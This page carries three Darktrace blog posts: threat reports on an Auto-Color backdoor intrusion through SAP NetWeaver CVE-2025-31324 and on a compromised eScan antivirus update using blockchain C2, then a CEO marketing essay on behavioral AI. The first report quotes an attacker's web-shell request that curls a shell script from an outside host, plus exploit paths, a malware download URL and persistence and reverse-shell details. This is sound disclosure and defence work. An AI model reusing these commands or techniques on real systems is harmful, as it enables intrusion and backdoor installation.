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July 29, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

This blog examines a real-world Auto-Color malware attack that originated from the exploitation of CVE-2025-31324. Learn how Darktrace identified and contained the threat using AI-driven detection and response, with additional support from its expert analyst team.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Owen Finn
Cyber Analyst
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29
Jul 2025

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Owen Finn
Cyber Analyst

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April 21, 2026

How a Compromised eScan Update Enabled Multi‑Stage Malware and Blockchain C2

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The rise of supply chain attacks

In recent years, the abuse of trusted software has become increasingly common, with supply chain compromises emerging as one of the fastest growing vectors for cyber intrusions. As highlighted in Darktrace’s Annual Threat Report 2026, attackers and state-actors continue to find significant value in gaining access to networks through compromised trusted links, third-party tools, or legitimate software. In January 2026, a supply chain compromise affecting MicroWorld Technologies’ eScan antivirus product was reported, with malicious updates distributed to customers through the legitimate update infrastructure. This, in turn, resulted in a multi‑stage loader malware being deployed on compromised devices [1][2].

An overview of eScan exploitation

According to eScan’s official threat advisory, unauthorized access to a regional update server resulted in an “incorrect file placed in the update distribution path” [3]. Customers associated with the affected update servers who downloaded the update during a two-hour window on January 20 were impacted, with affected Windows devices subsequently have experiencing various errors related to update functions and notifications [3].

While eScan did not specify which regional update servers were affected by the malicious update, all impacted Darktrace customer environments were located in the Europe, Middle East, and Africa (EMEA) region.

External research reported that a malicious 32-bit executable file , “Reload.exe”, was first installed on affected devices, which then dropped the 64-bit downloader, “CONSCTLX.exe”. This downloader establishes persistence by creating scheduled tasks such as “CorelDefrag”, which are responsible for executing PowerShell scripts. Subsequently, it evades detection by tampering with the Windows HOSTS file and eScan registry to prevent future remote updates intended for remediation. Additional payloads are then downloaded from its command-and-control (C2) server [1].

Darktrace’s coverage of eScan exploitation

Initial Access and Blockchain as multi-distributed C2 Infrastructure

On January 20, the same day as the aforementioned two‑hour exploit window, Darktrace observed multiple devices across affected networks downloading .dlz package files from eScan update servers, followed by connections to an anomalous endpoint, vhs.delrosal[.]net, which belongs to the attackers’ C2 infrastructure.

The endpoint contained a self‑signed SSL certificate with the string “O=Internet Widgits Pty Ltd, ST=SomeState, C=AU”, a default placeholder commonly used in SSL/TLS certificates for testing and development environments, as well as in malicious C2 infrastructure [4].

Utilizing a multi‑distributed C2 infrastructure, the attackers also leveraged domains linked with the Solana open‑source blockchain for C2 purposes, namely “.sol”. These domains were human‑readable names that act as aliases for cryptocurrency wallet addresses. As browsers do not natively resolve .sol domains, the Solana Naming System (formerly known as Bonfida, an independent contributor within the Solana ecosystem) provides a proxy service, through endpoints such as sol-domain[.]org, to enable browser access.

Darktrace observed devices connecting to blackice.sol-domain[.]org, indicating that attackers were likely using this proxy to reach a .sol domain for C2 activity. Given this behavior, it is likely that the attackers leveraged .sol domains as a dead drop resolver, a C2 technique in which threat actors host information on a public and legitimate service, such as a blockchain. Additional proxy resolver endpoints, such as sns-resolver.bonfida.workers[.]dev, were also observed.

Solana transactions are transparent, allowing all activity to be viewed publicly. When Darktrace analysts examined the transactions associated with blackice[.]sol, they observed that the earliest records dated November 7, 2025, which coincides with the creation date of the known C2 endpoint vhs[.]delrosal[.]net as shown in WHOIS Lookup information [4][5].

WHOIS Look records of the C2 endpoint vhs[.]delrosal[.]net.
Figure 1: WHOIS Look records of the C2 endpoint vhs[.]delrosal[.]net.
 Earliest observed transaction record for blackice[.]sol on public ledgers.
Figure 2: Earliest observed transaction record for blackice[.]sol on public ledgers.

Subsequent instructions found within the transactions contained strings such as “CNAME= vhs[.]delrosal[.]net”, indicating attempts to direct the device toward the malicious endpoint. A more recent transaction recorded on January 28 included strings such as “hxxps://96.9.125[.]243/i;code=302”, suggesting an effort to change C2 endpoints. Darktrace observed multiple alerts triggered for these endpoints across affected devices.

Similar blockchain‑related endpoints, such as “tumama.hns[.]to”, were also observed in C2 activities. The hns[.]to service allows web browsers to access websites registered on Handshake, a decentralized blockchain‑based framework designed to replace centralized authorities and domain registries for top‑level domains. This shift toward decentralized, blockchain‑based infrastructure likely reflects increased efforts by attackers to evade detection.

In outgoing connections to these malicious endpoints across affected networks, Darktrace / NETWORK recognized that the activity was 100% rare and anomalous for both the devices and the wider networks, likely indicative of malicious beaconing, regardless of the underlying trusted infrastructure. In addition to generating multiple model alerts to capture this malicious activity across affected networks, Darktrace’s Cyber AI Analyst was able to compile these separate events into broader incidents that summarized the entire attack chain, allowing customers’ security teams to investigate and remediate more efficiently. Moreover, in customer environments where Darktrace’s Autonomous Response capability was enabled, Darktrace took swift action to contain the attack by blocking beaconing connections to the malicious endpoints, even when those endpoints were associated with seemingly trustworthy services.

Conclusion

Attacks targeting trusted relationships continue to be a popular strategy among threat actors. Activities linked to trusted or widely deployed software are often unintentionally whitelisted by existing security solutions and gateways. Darktrace observed multiple devices becoming impacted within a very short period, likely because tools such as antivirus software are typically mass‑deployed across numerous endpoints. As a result, a single compromised delivery mechanism can greatly expand the attack surface.

Attackers are also becoming increasingly creative in developing resilient C2 infrastructure and exploiting legitimate services to evade detection. Defenders are therefore encouraged to closely monitor anomalous connections and file downloads. Darktrace’s ability to detect unusual activity amidst ever‑changing tactics and indicators of compromise (IoCs) helps organizations maintain a proactive and resilient defense posture against emerging threats.

Credit to Joanna Ng (Associate Principal Cybersecurity Analyst) and Min Kim (Associate Principal Cybersecurity Analyst) and Tara Gould (Malware Researcher Lead)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

  • Anomalous File::Zip or Gzip from Rare External Location
  • Anomalous Connection / Suspicious Self-Signed SSL
  • Anomalous Connection / Rare External SSL Self-Signed
  • Anomalous Connection / Suspicious Expired SSL
  • Anomalous Server Activity / Anomalous External Activity from Critical Network Device

List of Indicators of Compromise (IoCs)

  • vhs[.]delrosal[.]net – C2 server
  • tumama[.]hns[.]to – C2 server
  • blackice.sol-domain[.]org – C2 server
  • 96.9.125[.]243 – C2 Server

MITRE ATT&CK Mapping

  • T1071.001 - Command and Control: Web Protocols
  • T1588.001 - Resource Development
  • T1102.001 - Web Service: Dead Drop Resolver
  • T1195 – Supple Chain Compromise

References

[1] https://www.morphisec.com/blog/critical-escan-threat-bulletin/

[2] https://www.bleepingcomputer.com/news/security/escan-confirms-update-server-breached-to-push-malicious-update/

[3] hxxps://download1.mwti.net/documents/Advisory/eScan_Security_Advisory_2026[.]pdf

[4] https://www.virustotal.com/gui/domain/delrosal.net

[5] hxxps://explorer.solana[.]com/address/2wFAbYHNw4ewBHBJzmDgDhCXYoFjJnpbdmeWjZvevaVv

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About the author
Joanna Ng
Associate Principal Analyst

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April 17, 2026

Why Behavioral AI Is the Answer to Mythos

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How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.  

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.  

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.  

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.  

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.  

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.  

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.  

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

[related-resource]

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About the author
Ed Jennings
President and CEO
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